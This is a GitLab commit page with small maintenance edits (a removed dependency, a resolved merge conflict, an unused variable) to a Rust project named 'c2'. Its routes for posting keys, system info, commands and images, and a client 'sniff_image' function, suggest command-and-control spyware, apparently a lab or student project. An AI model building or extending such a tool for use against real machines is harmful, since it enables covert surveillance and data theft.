Skip to content
Snippets Groups Projects
Commit dae2696f authored by leo.muff's avatar leo.muff
Browse files

fixing merge

parent 3937a4f4
Branches
No related tags found
No related merge requests found
...@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" ...@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
name = "c2" name = "c2"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"chrono",
"rocket", "rocket",
"rocket_dyn_templates", "rocket_dyn_templates",
"rocket_sync_db_pools", "rocket_sync_db_pools",
......
...@@ -38,15 +38,11 @@ fn rocket() -> _ { ...@@ -38,15 +38,11 @@ fn rocket() -> _ {
// load rocket // load rocket
let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing());
println!("Connecting to database ..."); println!("Connecting to database ...");
<<<<<<< c2/src/main.rs
build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image])
=======
build.mount("/", build.mount("/",
routes![home, post_key, get_json_keys, get_html_clients, routes![home, post_key, get_json_keys, get_html_clients,
post_systeminfo, post_new_command, get_json_commands, post_systeminfo, post_new_command, get_json_commands,
post_command, get_new_commands, get_delete_command post_command, get_new_commands, get_delete_command
]) ])
>>>>>>> c2/src/main.rs
.mount("/static", FileServer::from("c2/templates/static")) .mount("/static", FileServer::from("c2/templates/static"))
.mount("/client/data", FileServer::from("./data")) .mount("/client/data", FileServer::from("./data"))
.register("/", catchers![not_found, internal_error]) .register("/", catchers![not_found, internal_error])
......
use rocket::form::Form; use rocket::form::Form;
use rocket::{get, post, Data}; use rocket::{get, post};
use rocket::{State, http::Status, serde::json::Json, response::status}; use rocket::{State, http::Status, serde::json::Json, response::status};
use std::sync::Mutex; use std::sync::Mutex;
use crate::backup::{DataFile, DataType}; use crate::backup::{DataFile, DataType};
......
...@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> { ...@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
let mac_address = get_mac_address() let mac_address = get_mac_address()
.map_err(|_e| io::Error::from_raw_os_error(1))?; .map_err(|_e| io::Error::from_raw_os_error(1))?;
let params = dev.params()?; let _ = dev.params()?;
//println!("Active device parameters:\n{}", params); //println!("Active device parameters:\n{}", params);
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment